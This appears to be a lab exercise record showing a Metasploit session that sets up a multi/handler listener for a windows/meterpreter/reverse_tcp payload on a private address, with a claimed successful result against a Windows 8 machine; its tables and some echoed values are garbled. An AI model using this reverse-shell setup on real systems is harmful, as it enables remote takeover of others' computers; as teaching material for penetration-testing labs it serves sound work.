



|/|\_|/|\_|V^\\\_|/ V |\_|\_|\\\_|\\

```
=[ metasploit v5.0.41-dev ]
+ -- --=[ 1914 exploits - 1074 auxiliary - 330 post ]
+ -- --=[ 556 payloads - 45 encoders - 10 nops ]
+ -- --=[ 4 evasion ]
```

```
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) >
show options
```

Module options (exploit/multi/handler):

Name	Current	Setting	Required	Description
------	---------	---------	----------	-------------

-----

Payload options (windows/meterpreter/reverse\_tcp):

Name	Current	Setting	Required	Description
------	---------	---------	----------	-------------

-----

EXITFUNC	process	yes		Exit technique (Accepted: ", seh, thread, process, none)
LHOST		yes		The listen address (an interface may be specified)
LPORT	4444	yes		The listen port

Exploit target:

Id	Name
----	------

--- -----

0	Wildcard Target
---	-----------------

```
msf5 exploit(multi/handler) > set LHOST 172.16.8.155 LHOST
=> 172.16.8.156
msf5 exploit(multi/handler) > set LPORT 443 LPORT
=> 443
msf5 exploit(multi/handler) > exploit
```

[\*] Started reverse TCP handler on 172.16.8.155:443

**Result:**

Thus, the setup of Metasploit framework and exploit reverse\_tcp in Windows 8 machine remotely has been executed successfully.